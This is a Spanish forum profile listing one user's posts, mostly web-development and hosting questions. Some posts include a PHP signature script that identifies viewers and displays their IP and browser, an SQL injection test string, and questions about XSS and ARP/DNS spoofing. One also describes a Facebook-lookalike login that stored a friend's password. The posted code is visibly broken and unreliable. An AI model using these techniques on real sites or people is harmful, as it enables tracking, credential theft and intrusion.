Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Castg!

#1
Que tul? Les comento, estoy desarrollando una web para subir un par de archivos sean documentos pdf, programas, parches y demás. La web es para un grupo de personas, en donde subiriamos archivos que nos son útilies y tener todo el acceso desde este sitio.
Propuse que yo haga esta web, porque me parecía un desafío el tener que subir varios archivos, a veces pesados y querer descargarlos a una velocidad razonable, SIN GASTAR NI UN PESO. Para ello, la web iba a estar alojada en 000webhost, el tema que los archivos que queríamos subir no podían ser hosteados en el mismo server, necesitabamos algo mejor. Se me vino a la mente mediafire.com, que además tiene una api para el link de descarga que me venía bien. Hice un script PHP basandome un poco en los paquetes que enviaba (Wireshark) y en un programa que más tarde encontré (Rapidleech). El script funcionaba JOYA, yo ingresaba un user y un pass de mediafire, y desde mi dominio podía subir archivos a mi cuenta de mediafire, usando el stream socket de PHP. El tema, que en los archivos de prueba y mi localhost, con archivos muy pesados no había problema, todo emporó cuando lo subí a 000webhost, en donde la transferencia de archivos o UPLOAD estaba limitada.
Busqué soluciones para quitar este límite pero no hubo caso, 000webhost no permite modificaciones del php.ini. Entonces se me ocurrió, para evitar estas restricciones, enviar el archivo desde el lado cliente y ver que pasaba.
El otro dilema, Cross domain. Desde javascript no puedo mediante ajax. Pense en Flash, pero también me era imposible http://www.mediafire.com/crossdomain.xml .
Ahora mi idea es buscar otro hosting copado, que no sea tan "limitero" según mis necesidades como lo es mediafire.
Encontré uno, Putlocker, que tiene una api para subir por php, y la posibilidad de subir archivos por FTP!
Ahora, las preguntas:
¿Conocen algún servidor que tenga permisos para crossdomain por falsh?
¿Tienen idea de algún script de JS de cliente de FTP en el que pueda subir archivos?
¿Se les ocurre alguna otra idea?

Gracias!

PD: Mediafire no tiene nada de API para Upload de archivos!
#2
PHP / Firma dinámica [Castg] - Depurado
11 Marzo 2012, 08:40 AM
Estaba (sigo estando) muy aburrido, me puse a navegar por el foro en mis viejos mensajes, y encontre el tema sobre la firma dinamica que habia hecho hace ya un par de años. En ese entonces yo pensaba sobre la programación de forma muy distinta.

Con esto no quiero decir que ahora soy un super programador de ASM, sino que leí mucho más de programación y depuración (No mucho igual :D) y arregle un poco el código para que quede más bonito y no tarde tanto en cargar. Además, estuve mucho tiempo ausente en el foro, y agregaron un botón de Google Plus y tuve que modificar la expresión regular.

Asi que puse manos a la obra y reactive mi vieja firma que tenía bastante empolvada.

Acá les dejo el código como siempre por cualquier interesado, los datos de imagen de fondo y tipografía utilizada estan en el post que nombré con anterioridad.

Principalmente cambié los formatos de imágenes, antes usaba PNG y tardaba muchisimo, ahora con estos cambios, en vez de recibir un PNG de 51KB, es un JPEG de 15KB con una resolución media, lo suficientemente agradable a los ojos.

Acá el código:

Código (php) [Seleccionar]
<?php
error_reporting
(0);
header('Content-type: image/jpeg');
if(!empty(
$_COOKIE['firmaid'])){
$id=$_COOKIE['firmaid'];
}else{
$post preg_match('/^.+<td align="center" class="smalltext"><g\:plusone size="small"><\/g\:plusone><a href="http\:\/\/foro\.elhacker\.net\/profiles\/([a-z0-9]+\-u([0-9]+)).html".+/'str_replace("\n" ''file_get_contents(getenv('HTTP_REFERER'))), $res);
$id=(count($res)>=3)?$res[2]:false;
}
$perfil file_get_contents('http://foro.elhacker.net/index.php?&action=.xml;sa=profile;u='.$id);
$perfil preg_replace('/[\n\t\r]+/' ''$perfil);
$nick preg_replace('/.*<name><!\[CDATA\[(.*)\]\]><\/name>.*/''Hola $1!'$perfil);
$lugar preg_replace('/.*<location><!\[CDATA\[(.*)\]\]><\/location>.*/''Sos de $1.'$perfil);
$edad preg_replace('/.*<age>(.*)<\/age>.*/''Tenes $1 años.'$perfil);
$posts preg_replace('/.*<posts>(.*)<\/posts>.*/''Escribiste $1 posts.'$perfil);
$userAgentstrtolower($_SERVER['HTTP_USER_AGENT']);
$navegador preg_replace('/.*(firefox|msie|opera|netscape|safari|chrome|epiphany|galeon|iceape|icewease|kazehakasel|konqueror|minefield|seamonkey|shiretoko|avant|lock|k\-meleon|minefield|navigator).*/''$1'$userAgent);
$sistema preg_replace('/.*(windows|mac|linux).*/''$1'$userAgent);
$agent = ($navegador!=$userAgent && $sistema!=$userAgent) ? "Usas $navegador desde $sistema." '';
if(
$lugar==$perfil){ $lugar 'Ubicacion no definida'; }
if(
$edad==$perfil){ $edad 'Edad no definida'; }
if(
$nick!=$perfil){
if(empty($_COOKIE['id'])){ setcookie('firma',$id,time()+315360000); }
$mensaje "$nick\n\n  $posts\n  $lugar\n  $edad\n  Tu ip es {$_SERVER['REMOTE_ADDR']}.\n  $agent";
}else{
$mensaje "    Tu ip es: {$_SERVER['REMOTE_ADDR']}\n\n  Para descubrir más de mis\npoderes, mirame en un post\ndonde Castg! comente." ;
}
$im imagecreatefromjpeg('firma-perfil.jpg');
$blanco imagecolorallocate($im255,255,255);
$negro imagecolorallocate($im0,0,0);
$fuente './persansb.ttf';
$puntosTexto imagettfbbox(120$fuente$mensaje);
$tamanioTexto = array();
$tamanioTexto['x'] = $puntosTexto[2] - $puntosTexto[6];
$tamanioTexto['y'] = $puntosTexto[3] - $puntosTexto[7];
$xtexto = (imagesx($im) - $tamanioTexto['x']) / ;
$ytexto = ((imagesy($im) - $tamanioTexto['y']) / 2) + imagefontheight($fuente) ;
imagettftext($im120$xtexto$ytexto$blanco$fuente$mensaje);
imagejpeg($im,NULL,90);
imagedestroy($im);
?>



Nos vimos!
#3
Muchachines/as, después de leer banda de redes, TCP/IP y ahora sniff, me estoy metiendo en todo lo que es seguridad en redes locales. Yo estoy sobre windows (tengo un backtrack 5 en virtual machine, que funca cuando le da la gana, y uno persistente en un USB), asi que estoy tratando de trabajar con aplicaciones sobre windows. Uso Wireshark, Cain, Ettercap y bla.

Va todo joya con ARP Spoof y otras cosas pero ahora quiero probar el DNS Spoofing y con windows no tengo suerte. Probe con Cain (ARP-DNS) y por mas que agregue los dominios con mi ip, pareciera que el cain no reconoce cuando entro a tal dominio desde mi otra pc. Después probé con Ettercap (por ahora nomás lo uso para ARP Spoof, si es que no uso el Cain), pero no tuve un resultado positivo usando la interfaz gráfica, ni usando la interfaz de linea de comandos
Me olvide de decir, trabajo con una PC de escritorio (Atacante) con Win 7, conectado a un router inalambrico, por cable y una notebook (Víctima), también con Win7 por WiFi.

Ustedes desde windows conocen alguna otra aplicación que sea eficaz? Le tengo muchas ganas al "dnsspoof" de la suite DSniff pero no la consigo para windows, ni siquiera en este foro, el link a donde iba esta muerto o algo asi.

Que dicen ustedes?
#4
Hacking / Polarizacion de fuente de poder
27 Septiembre 2011, 23:28 PM
Me llego una historia de un hacker, que, teniendo control de una PC Victima, remotamente, de tal forma es que invirtió la polaridad de la fuente de la pc, de forma que quemo el mother y demas componentes. Es posible esto de alguna forma? Supuestamente esto no es actual, sucedio hace ya como 15 años.
#5
Yo la ensalada
#6
Buenas, toy trabajando en una galería de fotos la cual se compone por (o quiero que se componga por):


  • album1

    • galeria1
    • galeria2
  • album2

    • galeria3
    • galeria4

Mi problema por ahora es simple, tengo un formulario en el que se elige el nombre del album [album1/album2], y se indica el nombre de la nueva galería. Se crea la misma (se guarda en la base de datos y se crea el directorio correspondiente) y se pasa al seleccionado de fotos. Lo que yo necesito aca, es una interfaz en donde pueda seleccionar fotos de a montones, y que las guarde en el disco y en la base de datos (nombre, descripcion, fecha, jerarquia)

Se me entiende? Estuve probando con muchos uploaders. Por ejemplo, Uploadify para JQuery, pero tengo problemas con este. También probé con otros para javascript, también problemas o resultados poco satisfactorios. Probé con uno muy completo (MUY COMPLETO) por lo tanto, PAGO!  :-X

Qué forma conocen ustedes en la que pueda seleccionar varias fotos al mismo tiempo (no de a una con un simple <input type='file'...)??
#7
Nose hace cuanto se encunetran disponibles estas dos cosas (HTML5 y CSS3). Por mi parte, recien las descubrí ahora que veo es más compatible con los navegadores (o compatible con más navegadoreS).
Me los puse a investigar un poco y la verdad, están muy buenos, se pueden hacer efectos muy copados y hay elementos muy útiles, que cambian el significado de "web" por uno más extenso.
Ahora, ¿qué les parece a ustedes? Antes para hacer un lightbox habia que usar muchisimo javascript, ahora, con dos líneas de código css está hecho. No les parece que esto va a ser que hasta nuestro canario pueda hacer una web espectacular?

Si, cierto, nos facilita muchísimo, pero... no era más divertido con javascript? (Ni siquiera con JQuery, javascript)...

Decime que pensás, preferís y usás; qué llegaste a realizar con javascript (así groso) y que con CSS3 se te hubiese sido más fácil!
#8
Como ya estuve comentando en un post anterior (no me acuerdo si fue acá o en PHP), con un grupo de personas estamos realizando una web basada en Joomla!. Nuestro host pago nos provee de un CPanel Accelerate 2 (No se si esta es la correcta versión), el cual tiene la posibilidad de apuntar un dominio a otro.

Actualmente nuestro dominio.com.ar (el registrado en el host) redirecciona a nuestro dominio.edu.ar (nunca se modifico la configuración del host). Esta acción de redireccionamiento no la realicé yo, por lo tanto no estoy COMPLETAMENTE seguro de los pasos realizados, pero si están bastante claros. Teníamos registrado el dominio.com.ar en nic.ar con DNS a Nuthost (nuestro host). Posteriormente creamos el dominio.edu.ar con las mismas DNS (Acá es donde no estoy seguro, pero por lógica, tienen que ser las mismas DNS ya que el encargado del registro del dominio no conocía otras DNS). Una vez creados los dos dominios se pasó a apuntar el dominio.edu.ar al .com.ar desde CPanel.

Entonces, entro a dominio.edu.ar, joya, me muestra la página y anda todo perfecto. Navego por archivos, directorios y subdirectorios y anda todo joya, como si la web fuera directamente desde .edu.ar.

Entro a dominio.com.ar y me redirecciona a .edu.ar. PERFECTO! es lo que queríamos. Ahora voy a dominio.com.ar/index.php/inicio (Utilizamos FriendlyURL's) y me va a dominio.edu.arindex.php/primaria.

CHAN!

Que es esto? No, no es un error mio tipográfico, me redirecciona a esa pagina inexistente, por lo que lógicamente causa error.

Resumen: 2 dominios, mismas DNS. Se declara en CPanel que el dominio.edu.ar apunte a 'www/public_html' y que se redireccione dominio.com.ar por .edu.ar.

Primero, NUNCA nadie va a entrar a un archivo, directorio, subdirectorio, BLA, BLA, BLA desde dominio.com.ar porque esta web todavía no se dió a conocer, entonces no saben de la existencia del dominio.com.ar, se va a dar a conocer por dominio.edu.ar; así que este error tiene muy pocas probabilidades de que suceda.

Segundo, ¿Cómo funciona el redireccionamiento del CPanel? Trabaja con las DNS? Qué onda?

Nos vemos!
#9
Desarrollo Web / Integrar GDocs a Joomla
28 Febrero 2011, 03:56 AM
Que tal muchachos, les comento que estoy realizando una web para una escuela, en conjunto con fede_cp y otro integrante más, la cual está basada en Joomla 1.5 (No estamos actualizando a 1.6 por una cuestión del template). Nuestra idea es integrar un sistema en el que los usuarios (Alumnos de distintos años y profesores, estos últimos, los que subirían los archivos) ingresen y puedan descargar contenidos, apuntes, trabajos prácticos, etc. La idea sería que los profesores, se logeen (siempre el logeo para todo usuario sería en joomla, osea la "página principal") y que de ahi puedan subir archivos, documentos ('.doc','.pdf',etc).

Ahora, existe algún plugin para joomla para integrar GDocs? o nos convendría crearlo aparte y crear un link externo en Joomla a ese GDoc, que podria utilizarse porque no un subdominio para mayor comodidad. El problema con esta última opción es que yo pienso que tendrian que crearse dos cuantas paralelas (la del sitio de Joomla, y la de Google). Entonces, Hay forma de relacionar una cuenta con la otra, para que el usuario se maneje más fluido?

Nos vemos!
#10
Nivel Web / Prevención de SQLi
21 Febrero 2011, 06:19 AM
Simple mi pregunta:
Basta con, al momento de hacer una consulta a la bbdd, encerrar el valor a buscar/insertar con comillas y escapar las mismas en el contenido? Un simple simple ejemplo para dejarlo mas claro:
Código (php) [Seleccionar]
$toQuery='pass \' OR \'1\'=\'1';
mysql_query("SELECT * FROM user_tables WHERE user='admin' AND pass=' ".htmlspecialchars($toQuery, ENT_QUOTES);." ' ");


Hay forma de escapar la consulta para inyectar codigo? Qué diferencia hay entre htmlspecialchars() y htmlentities()? Qué caracteres escapa mysql_real_escape_string(), únicamente las comillas o algo mas?
#11
Estoy teniendo unos problemas con mi contraseña por lo que la página no me permite modificar mis datos del perfil. Necesitaria hablar con algun moderador que me pueda ayudar con esto.
Saludos...
#12
Es mi imaginación o el subforo de PHP se encuentra sin moderador a cargo? Disculpen si esto ya se discutió, pero además que no me ando mucho por estos temas, hace poco me "reintegre" al foro.
#13
Foro Libre / ¿Sabías que...
4 Febrero 2011, 01:22 AM
.. el captcha que por lo menos yo conozco como "reCaptcha", es un proyecto de la School of Computer Science (Carnegie Mellon University) y esta compuesto por palabras de un OCR de la misma institución, que utilizan para digitalizar sus libros, que tuvo dificultad para reconocer? Entonces cada vez que respondemos a este captcha estamos alimentando su base de datos para crear un OCR más potente. Jaja, si asi no es, corregirme.
#14
    Esta vez hice una funcion simple con GD que copia una imagen "marcadeagua" en toda imagen del servidor o determinado directorio. Aunque seguramente hay varios scripts de como agregar una marca de agua con GD, practicamente lo que me propuse esta vez era que al ver las imagenes del directorio
/watermark las vea con una marca de agua. Esto es por ejemplo, en algun tipo de foro o similar, los visitantes vean con marca de agua las imagenes, pero usuarios registrados y logeados las vean limpias. Esta vez hice la funcion y la magia es del .htaccess, pero con una simple comprobacion de cookies se puede utilizar o no esta funcion. Les dejo el codigo php y .htaccess y un link a mi pagina donde pueden ver el ejemplo (lo unico que yo no me propuce a hacer el tema del logeo, unicamente aplicar la marca de agua al momento de la peticion de la imagen).

Acepta jpg, gif y png como imagen limpia, pero con la marca de agua se imprimen siempre en jpeg por una cuestion de comodidad. Ademas, tiene la posibilidad de distintas ubicaciones de la marca de agua:

  • Arriba a la izquierda (0)


  • Abajo a la izquierda (1)


  • Arriba a la derecha (2)


  • Abajo a la derecha (3)


  • Centro (4)


  • Por toda la imagen ('repeat'/default)







Citarmarcadeagua.php
[/list]
Código (php) [Seleccionar]

/*********************************
------------------------------------------------------
----------Archivo: marcadeagua.php----------
------------------------------------------------------
-----------------Creador: Castg!----------------
------------------------------------------------------
*********************************/
error_reporting(0);
function imagecreatefromfile($flotaImage) {
$flotaMime = getimagesize($flotaImage);
$flotaMime = $flotaMime['mime'];
switch($flotaMime){
case 'image/png':
$image = imagecreatefrompng($flotaImage);
break;
case 'image/jpeg':
$image = imagecreatefromjpeg($flotaImage);
break;
case 'image/gif':
$image = imagecreatefromgif($flotaImage);
break;
default:
die("Archivo no soportado");
}
return $image;
}
function waterMark($flotaDst,$flotaSrc,$flotaPos='repeat') { //imagen limpia, marca de agua, tipo de posision de dicha marca
if(!in_array($flotaPos,array('0','1','2','3','4','repeat'))) die('Wrong position');
$fileSize=getimagesize($flotaDst);
$mimes=array('image/png','image/jpeg','image/gif');
if(is_file($flotaDst)&&in_array($fileSize['mime'],$mimes)) {
$cleanImage=imagecreatefromfile($flotaDst);
$water=imagecreatefrompng($flotaSrc);
imagealphablending($water,true);
imagesavealpha($water,true);
$filesSize=array(
'clean'=>array(
imagesx($cleanImage),
imagesy($cleanImage)
),
'water'=>array(
imagesx($water),
imagesy($water)
)
);
$position = array(
array(0,0),
array(0,$filesSize['clean'][1]-$filesSize['water'][1]),
array($filesSize['clean'][0]-$filesSize['water'][0],0),
array($filesSize['clean'][0]-$filesSize['water'][0],$filesSize['clean'][1]-$filesSize['water'][1]),
array(($filesSize['clean'][0]-$filesSize['water'][0])/2,($filesSize['clean'][1]-$filesSize['water'][1])/2)
);
if(is_numeric($flotaPos)) {
imagecopy($cleanImage,$water,$position[$flotaPos][0],$position[$flotaPos][1],0,0,$filesSize['water'][0],$filesSize['water'][1]);
} elseif($flotaPos=='repeat') {
$repeat=array(
'x'=>ceil($filesSize['clean'][0]/$filesSize['water'][0]),
'y'=>ceil($filesSize['clean'][1]/$filesSize['water'][1])
);
for($x=1;$x<=$repeat['x'];$x++) {
for($y=1;$y<=$repeat['y'];$y++) {
imagecopy($cleanImage,$water,(($x-1)*$filesSize['water'][0]),(($y-1)*$filesSize['water'][1]),0,0,$filesSize['water'][0],$filesSize['water'][1]);
}
}
}
header("Content-type: image/jpeg");
imagejpeg($cleanImage,false,90);
imagedestroy($cleanImage);
imagedestroy($water);
}
}
$file=(isset($_GET['f'])&&!empty($_GET['f']))?str_replace(array('..','/'),'scuanck',$_GET['f']):'index.jpeg';
waterMark($file,'water.png');


Citar.htaccess
Código (apache) [Seleccionar]

#.htaccess mod-rewrite para marcadeagua.php
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !(marcadeagua.php|water.png)
RewriteEngine on
RewriteBase /watermark
RewriteRule ^(.*)$ marcadeagua.php?f=$1




otros ejemplos en mi server


#15
PHP / Firma dinamica Castg! version 1.1 [PHP]
19 Enero 2011, 00:36 AM
bueno, si no mal recuerdan hace un tiempo hice una imagen dinamica en php, la cual usandola de firma, al entrar a un post, mostraba los datos del usuario que la veia.

para recordar un poco y no volver a escribir tanto:

http://foro.elhacker.net/php/firma_dinamica_por_castg_observa_tus_datos_automaticamente-t285255.0.html

Bueno, la use un tiempo hasta que sirdarckcat puso un filtro a las imagenes de elhacker.net ¬¬, cuestion de seguridad. Estuve muy ausente en el foro y hace poco volvi a escribir uno o dos mensajes y note que ese filtro no estaba mas, por lo que quise volver a usar mi firma.

al principio tuve muchos problemas por lo que me propuse depurarlo UN POCO. cambie unas boludeces del codigo y agregue una estupidez jaja, saegun tu sexo, es el color de fondo de la imgen.





Código (php) [Seleccionar]
<?php
//Esta funcion consigue el id del ultimo usuario que entro...
function userIdFromURL($flotaRef) {
$post preg_replace("/[\n\t\r]+/" ""file_get_contents($flotaRef));
$post explode('<td align="center" class="smalltext"><a href="http://foro.elhacker.net/profiles/'$post);
$post preg_split('/\.html" style="color\: \#[a-fA-F0-9]{6};"\>.*est\&aacute\;n viendo este tema\.\<\/td\>/'$post[1]);
return preg_replace('/^.+\-u(\d+)/'"$1"$post[0]);
}
//anti "La imagen ... no puede mostrarse porque contiene errores" ;)
error_reporting(0);
//Headers
header("Content-type: image/jpeg");
//
//obtencion de datos: id user!
if(isset($_COOKIE['id'])){
$id $_COOKIE['id'];
}else{
$ref "post.html";//getenv("HTTP_REFERER");
$id userIdFromURL($ref); //la magia surge
}
//Visitamos su prefil y leemos sus datos...
$perfil file_get_contents('http://foro.elhacker.net/index.php?&action=.xml;sa=profile;u='.$id);
$perfil preg_replace("/[\n\t\r]+/" ""$perfil);
$nick preg_replace("/.*<name><!\[CDATA\[(.*)\]\]><\/name>.*/""Hola $1!"$perfil);
$genero preg_replace("/.*<gender><!\[CDATA\[(.*)\]\]><\/gender>.*/""$1"$perfil);
$lugar preg_replace("/.*<location><!\[CDATA\[(.*)\]\]><\/location>.*/""Sos de $1."$perfil);
$edad preg_replace("/.*<age>(.*)<\/age>.*/""Tenes $1 años."$perfil);
$posts preg_replace("/.*<posts>(.*)<\/posts>.*/""Escribiste $1 posts."$perfil);
//
//
//Otros datos
$ip $_SERVER['REMOTE_ADDR'];
$userAgentstrtolower($_SERVER['HTTP_USER_AGENT']);
preg_match("/(firefox|msie|opera|netscape|chrome|safari|epiphany|galeon|iceape|icewease|kazehakasel|konqueror|minefield|seamonkey|shiretoko|avant|lock|k-meleon|minefield|navigator)/"$userAgent$navegador);
$sistema preg_replace("/.*(windows|mac|linux|freebsd).*/""$1"$userAgent);
$agent = ($navegador[0]!=$userAgent && $sistema!=$userAgent) ? "Usas ".$navegador[0]." desde $sistema." "";
//
//
//depuracion de datos:
if($nick == $perfil){
$hayUser false;
}else{
$hayUser true;
if($genero==$perfil$genero "Masculino";
if($lugar==$perfil$lugar "Ubicacion no definida";
if($edad==$perfil$edad "Edad no definida";
}
if(
$hayUser){
if(!isset($_COOKIE['id'])){
setcookie('id',$id,time()+315360000);
}
$mensaje "$nick\n\n  $posts\n  $lugar\n  $edad\n  Tu ip es $ip.\n  $agent";
}else{
$mensaje "    Tu ip es: $ip\n\n  Para descubrir más de mis\npoderes, mirame en un post\ndonde Castg! comente." ;
}
//
//
//imagen
$im imagecreatefrompng('firma-perfil-'.$genero.'.png');
$blanco imagecolorallocate($im255,255,255);
$negro imagecolorallocate($im0,0,0);
$fuente "./persansb.ttf";
//
//centrar fuente:
$puntosTexto imagettfbbox(120$fuente$mensaje);
$altoCaracterTTF imagettfbbox(120$fuente"b");
$tamanioTexto = array();
$tamanioTexto['x'] = $puntosTexto[2] - $puntosTexto[6];
$tamanioTexto['y'] = $puntosTexto[3] - $puntosTexto[7];
$xtexto = (imagesx($im) - $tamanioTexto['x']) / ;
$ytexto = ((imagesy($im) - $tamanioTexto['y']) / 2) + ($altoCaracterTTF[3] - $altoCaracterTTF[7]);
// listo :D
//
//
imagettftext($im120$xtexto$ytexto$blanco$fuente$mensaje);
imagejpeg($im,false,100);
imagedestroy($im);
//
?>


practicamente, agregue la opcion de freebsd como sistema, hice una funcion para recoger el id y se imprime como imagen jpeg, antes png.

Cualquier error que les presente mi firma, diganmelo! tengo que arreglar ahora que me acorde despues de escribir esto, si sos usuario oculto. tengo que averiguar bien, no estoy seguro que haya problema.
#16
bueno, deben decir "que carajo!", pero la cosa es asi:

para tener una preescucha en el VirtuaDJ yo (ademas de tener mi placa de sonido stereo onboard (plug rojo,verde y azul)) le agregue una placa de audio igual PCI y asi podia sacar dos temas distintos por cada salida.
Pasa que de vez en cuando usaba una notebook y ahi no podia ponerle una PCI :P asi que compre una USB de esos que parecen un pendrive y traen una salida y una entrada para mic.


Ahora la "magia", a mis viejos les regalaron un hometeather que tiene en la entrada de audio 5.1 3 miniplug hembra con sus respectivos cables miniplug macho-macho, ahi se me vino a la mente:

¿Puedo mandar el 5.1 por cada una de las 3 lineas? osea, en la placa onboard, mandar front R-L, en la PCI el rear R-L y en el usb subboofer y center (asi tiene las entradas mi hometeather).

Hay algun programa que haga esto, configuracion u opcion? o es dependiendo de la tarjeta de audio...

la cosa seria simular una tarjeta 5.1 y que divida las 6 entradas en 2, para mandarlas por cada tarjeta stereo.

Espero una respuesta por si o no, gracias y un saludo.
#17
Nivel Web / xss desde atributos hidden
12 Enero 2011, 04:30 AM
estoy muy mal de la memoria y no se si esto ya lo pregunte. tengo una web donde puedo cerrar la comilla del "value" en un input type=hidden. Osea:

Citarwww.web.com/index.php?xx=2

Código (html4strict) [Seleccionar]
<input type=hidden name=xx value="2">

yo puedo hacer estas cosas:

Citarwww.web.com/index.php?xx=2" type=text

Código (html4strict) [Seleccionar]
<input type=hidden name=xx value="2" type=text"> aunque no tiene sentido


Citarwww.web.com/index.php?xx=2"<

Código (html4strict) [Seleccionar]
Internal Server Error 500


hay alguna forma a traves de algun atributo (onclick, onmouseover;logicamente para un hidden) de inyectar javascript?
#18
Bueno, me compre este celular para remplazar el robo de mi anterior nokia 6101. Lo elegi por la cantidad de opciones que tiene en si el celular y el bajisimo precio en el que me lo ofrecian. Tiene Bluetooth, cámara, MP3, Java. Bastante completo. Más que nada lo elegi por el bluetooth para usar aplicaciones java con Bluetooth pero pasa que cada aplicacion que ponia, al momento de "iniciar el chat" por ejemplo, o en "Buscar dispositivos" yo apretaba "Seleccionar"/"Elegir"/Etc y no pasaba naranja, osea se quedaba igual. Yo no tenia ni idea cúal era el problema! Hasta que le instale la aplicacion "Bloover" si no me equivoco y cuando empezaba a ejecutar la aplicación salía una alerta que decia:"Su dispositivo no soporta el uso de Bluetooth desde Java, La aplicación no peude continuar" y ahi fue donde me cayo la ficha. Ninguna aplicacion anda por este motivo. Ahora la consulta es, se puede "activar" esta opción? Se puede actualizar el java o algo por el estilo? Estuve mirando los "ajustes de java" pero no encontre opción alguna referida a este tema! Saludos
#19
GNU/Linux / Servidor casero con linux. Que distro?
2 Septiembre 2010, 06:11 AM
bueno, primero que nada siempre quecomento aca digo que estoy ingresando a linux, osea recien me ambiento en el tema, por lomenos eso creo.
tengo una compu viejita tirada ahi y quiero hacerla server web. pensaba logicamente en linux, pero no estoy seguro de que version.
antes de seguir, los datos de mi pc son:
AMD k6II 500mhz, 128MB's de ram a 100mhz, discode 13 GB aproximadamente.
quiero dejarlo en modo texto para que no consuma tanto la grafica del escritorio. Me recomendaron mandrake 7, un profesor tecnico en armado de pc, es mas, le instalamos ese, pero pasa que la fuente estaba re chota y se la cambie. y el disco hacia muchos ruidos, estaba a punto de morir, asi que tambien la cambie.

es bueno este linux? sirve? mas que nada le instalaria servidor web y ftp, php y mysql (este ultimo si no se puede mala suerte, peor me gustaria). el tema de la instalacion de los programas me las rebusco, estoy mas o menos ambientado a debian ubuntu, pero google me va a ayudar, y este profesor tambien. jeje. la isntalacion del sistema tambien me pasa facil, mientras tanto no sea por linea de comando :D jaja. en fin, que distro me recomiendan? y donde puedo conseguirla, porq mandrake 7 no lo consigo ni loco por internet, busque muchisimo y por ahora nada. voy aseguir intentando. sino se lo pido a mi profesor, pero tengo que esperar demasiado.

Un saludo
#20
Foro Libre / Delito informatico?
25 Agosto 2010, 04:41 AM
holacomo va? miren, estuve y estoy haciendo una aplicacion en facebookl usando su api de php. para hostear los archivos cree un host en 000webhost (un dominio gratis: afbks.site50.net) y ahi puse mis archivos. pasa que los puse en un directorio llamado facebook y tenia un sistema de logeo y todo con los estilos de facebook nose que. mi idea de la aplicacion (del codigo, porque fin no tenia ninguno, era hacer aplicacion por hacer jajaja) era solo aprender a usar la api nose para que :p. pasa que es como que me inhabilitaron el dominio y me decidi a borraar el dominio para crearlo de vuelta. me decia que estaba siendo visto por un administrador y no se que. y despues para hacerlo todo de vuelta, quise volver a borrarlo y crearlo y me decia que no se puede borrar en estos momentos, que intente despues. Pdoran decirme algo? o que pase algo? porq el sistema de logeo guardaba la contraseña. pero la aplicacion estaba en construccion, asi que estaba probandolo con una amiga mia, que confio en mi su contraseña y quedaba guardada en mi sistema.

este sistema era para saber el mail y/o nombre del usuario que entraba porq todavia no pude saber como carajo hacen las otras aplicaciones, etncones ahi fue cuanod empezo todo este problemita.
el drama es que estaba todo igual, eran los estilos de facebook y decia "debes iniciar sesion para ver este contenido", porq si no iniciaba sesion no andaba bien (andaba futuro, porq no se termino la app) la aplicacion.

bueno diganme ustedes.
#21
PHP / Apps de facebook - API PHP
25 Agosto 2010, 03:52 AM
bueno, quisiera saber si alguien uso o sabe como usar esto, porq lo estuve usando y me recorri medio world wide web y no encontre lo esencial: como obtener el nombre del usuario que entra ¬¬ jajaja
loque habia hecho era hacer tipo un cuadro de logeo, donde ponian su mail y contraseña, osea se volvian a logear, pero esto se veia mal, osea como que les robaba la contrasdeña ¬¬ en si pude haber podido pero no me cabe eso, jajaja posta. alguies sabe? porq con mi sistema no se va a usar nunca.
#22
Diseño Gráfico / Banner Rasta
26 Julio 2010, 07:09 AM
Bue, tengo un amigo que se hizo un blog de musica reggea (con este proyecto aprendi a escribirlo bien! jaja) y me pidio que le haga un banner segun una foto que el queria asi que medio esto:


y salio esto:



igual a mi no me gusta trabajar mucho con ideas prediseñadas como lo es ese fondo, porq l encontro por internet, prefiero que sea 100% mio, igual, fuera el fondo, todo lo demas es mio. un saludo
#23
Java / Codigo fuente de archivo .jar
16 Julio 2010, 03:44 AM
Bueno miren, la cosa es asi. tenog un archivo.jar, que es un juego de simon dice, y quiero ver un poco el codigo fuente, para saber como funciona ESE simon dice. NO SE NADA DE JAVA, en cualquier momento empiezo, pero tienen alguna idea de como hacer esto? encontre una pagina en internet que decia de usar un programa que se llama "jode" pero no estaba bien explicado, o tal vez si, pero yo que no estoy en tema de java no logro entenderlo. un saludo grande ;)!
#24
Diseño Gráfico / Flasheo con corel
7 Julio 2010, 05:53 AM
buenas, hace un tiempito empece con corel. la verdad que es una herramienta excelente q en conjunto con el photoshop arrazan. estoy yendo de apoco, y mi objetivo es el diseño web. asiq ue porq no empezar con una imagen web 2.0, primero pense en un candado para un form de login pero al final lo voy a usar para algun tipo de error 403. pero para tener una idea (la verdad fue la idea completa, jaja, asi se aprende; por lo menos asi aprendi a usar el photoshop) busque algun candado en imagenes de google, hasta que encontre uno que me gustara. resulto ser para mi sorpresa un tutorial para crear una imagen tal, pero en photoshop. pero no me guie en nada mas sino en el resultado. y e aqui mi "imagen Web 2.0" jeje. aviso: es solo un comienzo! jeje

#25
Foro Libre / Premium RapidShare graits!
3 Julio 2010, 23:00 PM
ya, no esperen más! yo ya tengo la mia!

https://rapidshare.com/
#26
Foro Libre / culos
21 Junio 2010, 00:29 AM

jajja
#27
Estuve escuchando unos temas en el ares cuando se me dio por pasarlas a mi reproductor (son unas cuantas).
Asi que abrí la carpeta de descargas, y puse la vista en "Detalles" y ordene por Intérprete, y pasa que de todos los archivos que tengo (más de 2200), la columna de interprete me aparece vacía, mientras que en el Ares aparece como tiene que aparecer. Probé con otros exploradores como el Total Commander, varias versiones, y sigue igual. Ni si quiera fijandose en las propiedades del archivo aparece la descripción. Estoy usando Windows xp Wolf 2 sp2. ¿Problema del explorer o de la configuración?
#28
Foro Libre / Wath pass?
14 Junio 2010, 04:02 AM
que paso loco¿¿ re decayo el foro. hay publicaciones bastantes malas. es algo que no me llama
#29
Foro Libre / Con las manos en la masa.
23 Mayo 2010, 00:12 AM
nos agarraron en nuestro peor momento:
#30
hace ya banda de tiempo, q me viene re jodiendo cuando voy a temas actualizados, que siempre me aparece el "Presentate aqui si eres nuevo" que comente cuando logico! era nuevo jajaja. pero me cansa jajaj, como algunos otros temas que tambien yo comente en foro libre, y son populares y me parecen siempre, y no tengo ni ganas de leerlo pero me molesta tenerlo ahi jajaj, no hay alguna forma de sacarlo? jajaja
#31
Diseño Gráfico / Diseño "Tom!" [P2P]
8 Abril 2010, 04:22 AM
aclaro unas cosas, a p2p me refiero a pixel to pixel xD, otra cosa, nakpanzer, este tom es mio!!! jejej

